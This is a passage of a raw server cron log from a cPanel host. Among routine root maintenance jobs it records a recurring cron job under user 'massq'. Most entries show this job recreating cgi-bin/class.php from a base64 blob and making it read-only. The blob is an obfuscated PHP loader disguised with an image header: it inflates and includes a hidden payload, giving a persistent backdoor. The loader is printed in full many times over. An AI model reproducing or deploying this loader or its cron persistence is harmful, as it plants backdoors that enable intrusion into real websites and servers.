LQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:10:01 server CROND[21628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:11:01 server CROND[22438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:11:01 server CROND[22439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:11:01 server CROND[22441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:12:01 server CROND[23007]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 21:12:01 server CROND[23008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:12:01 server CROND[23009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:12:01 server CROND[23010]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:13:01 server CROND[23397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:13:01 server CROND[23398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:13:01 server CROND[23399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:14:01 server CROND[23856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:14:01 server CROND[23857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:14:01 server CROND[23858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:15:01 server CROND[24230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:15:01 server CROND[24232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:15:01 server CROND[24233]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:15:01 server CROND[24234]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:15:01 server CROND[24235]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 21:15:01 server CROND[24238]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 21:15:01 server CROND[24239]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 21:15:01 server CROND[24236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:16:01 server CROND[25063]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:16:01 server CROND[25062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:16:01 server CROND[25064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:17:01 server CROND[25445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:17:01 server CROND[25446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:17:01 server CROND[25447]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:18:01 server CROND[25861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:18:01 server CROND[25862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:18:01 server CROND[25863]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:19:01 server CROND[26320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:19:01 server CROND[26321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:19:01 server CROND[26322]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:20:01 server CROND[26714]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 21:20:01 server CROND[26715]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 21:20:01 server CROND[26716]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:20:01 server CROND[26723]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:20:01 server CROND[26727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:20:01 server CROND[26728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:20:01 server CROND[26724]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 21:20:01 server CROND[26732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:20:01 server CROND[26731]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 21:21:01 server CROND[27560]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:21:01 server CROND[27561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:21:01 server CROND[27562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 21:22:01 server CROND[27936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:22:01 server CROND[27937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
